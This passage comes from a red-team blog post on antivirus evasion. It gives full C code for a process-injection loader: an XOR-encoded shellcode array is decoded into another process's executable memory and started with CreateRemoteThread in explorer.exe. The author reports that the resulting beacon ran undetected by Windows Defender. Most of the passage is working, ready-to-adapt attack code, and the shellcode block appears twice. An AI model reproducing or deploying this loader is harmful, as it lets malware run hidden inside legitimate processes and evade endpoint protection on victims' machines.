e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);
        
        				// Data chars counter
				int i;

				// Base address counter
				int n = 0;


				for(i = 0; i<=sizeof(data); i++){

					// Decode shellcode opcode
					char DecodedOpCode = data[i] ^ 0x01;

					// Write the decoded bytes in memory address
					if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){


						printf("[+] Byte wrote sucessfully!\n");

						// Increase memory address by 1
						n++;
					}
				}
        

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

This code will write our shellcode in memory after decoding each byte of it with our key “0x01”, as we can see in line #39 I used a for loop to move on each element of our shellcode, then in line #42 I XORed each element with 0x01 to retrieve the original opcode, and in line #45 I wrote that decoded byte to a specific location in memory and finally in line #51 I move the n counter which is the memory counter to the next memory address to decode and write the opcode to.

The WriteProcessMemory() took the following parameters:

  • process: which is the handle that we retrieved earlier using OpenProcess()
  • base_address+n: which is the address that we want to write our opcode to (base_address retrieved from VirtualAllocEx) and n is the counter to move to the next address.
  • &DecodedOpCode: the address of our DecodedOpCode byte.
  • 1: the number of written bytes which is only one byte.
  • Null: Because we don’t have a pointer to receive the number of written bytes.

You can check the parameters that the WriteProcessMemory takes from this page.

After compiling the program and run it, we will get the following:

As we can see, we get each byte wrote in the desired address that we want, now, let’s debug that using x64dbg and go to the address “0x2ec0000” to get the following:

As we can see, our original bytes were written to the addresses that we want starting from 0x2ec0000 and everything is working very well!

Executing the shellcode

Finally, we need to execute the shellcode as a thread, and to do that, we can that using CreateRemoteThread() function using the following code:

#include <windows.h>


int main(int argc, char *argv[]){


   unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);
        
        				// Data chars counter
				int i;

				// Base address counter
				int n = 0;


				for(i = 0; i<=sizeof(data); i++){

					// Decode shellcode opcode
					char DecodedOpCode = data[i] ^ 0x01;

					// Write the decoded bytes in memory address
					if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){


						printf("[+] Byte wrote sucessfully!\n");

						// Increase memory address by 1
						n++;
					}
				}
				
				// Run our code as RemoteThread
				CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);

        

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

As we can see in line #55, we used CreateRemoteThread() function to execute our shellcode as a thread on explorer.exe, and CreateRemoteThread() took the following parameters:

  • process: Which is the handle that we retrieved earlier using OpenProcess()
  • Null: To get default security descriptor; check this for more info.
  • 100: The initial size of the stack.
  • base_address: Which is the first opcode of our shellcode.
  • Null: No parameters passed to the thread.
  • 0: The thread runs immediately after creation.
  • 0x5151: Thread ID

And after running the code, we will get the following:

We got an active beacon running under explorer.exe without being caught by Windows Defender.

Conclusion

By encoding our shellcode and decode it using this technique, we were able to bypass AV protection easily and run our shellcode inside another process.

You can customize the encoder as you want but you have to edit the decoder too, also you can modify the code to meet your needs on execution and some parts of the code are written only for educational purposes.

The post In-Memory shellcode decoding to evade AVs/EDRs appeared first on Shells.Systems.

]]>
https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/feed/ 5